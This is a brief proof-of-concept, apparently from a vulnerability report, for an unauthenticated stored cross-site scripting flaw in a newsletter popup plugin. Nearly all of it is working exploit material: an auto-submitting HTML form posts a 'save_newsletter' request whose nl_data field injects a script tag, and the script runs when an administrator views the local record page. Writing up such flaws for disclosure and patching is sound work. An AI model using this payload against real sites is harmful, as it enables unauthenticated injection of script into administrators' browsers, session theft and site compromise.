1. Make sure there is a newsletter configured with the setting "Email Service > Save to local database"
2. When not logged in, use an HTML file where `<NL_ID>` is a valid newsletter ID:

<body onload="document.forms[0].submit()">
    <form action="" method="post">
        <input type="hidden" name="action" value="save_newsletter">
        <input type="hidden" name="nl_id" value="<NL_ID>">
        <input type="hidden" name="nl_name" value="Unauthenicated">
        <input type="hidden" name="nl_data" value='"><script>alert(1234)</script>TIME%3D2024-03-15%252009%253A24%253A36'>
        <input type="submit" value="Submit Request">

3. Go to "Newsletter Popup > Local Record"
4. Select "Show Record" and see the XSS